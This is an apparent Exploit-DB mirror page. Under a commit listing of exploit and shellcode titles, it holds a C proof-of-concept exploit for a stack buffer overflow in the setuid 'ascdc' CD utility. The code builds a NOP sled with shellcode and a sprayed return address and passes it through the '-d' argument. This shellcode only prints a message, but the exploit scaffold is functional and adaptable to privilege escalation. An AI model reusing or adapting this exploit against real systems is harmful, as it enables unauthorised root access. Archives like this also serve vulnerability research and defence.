exploit-db-mirror/exploits/unix/local/20678.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

42 lines
No EOL
1.6 KiB
C

/*
source: https://www.securityfocus.com/bid/2462/info
ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.
A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.
The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges.
*/
char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
"\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80\xe8\xe6\xff\xff\xff"
"Would you like to play a game? y\x0aStrange, the only winning
move is not to play.\x0a";
#define bsize 600
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int i;
buff = malloc(bsize);
addr = get_sp();
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < 600/2; i++)
buff[i] = 0x90;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);
}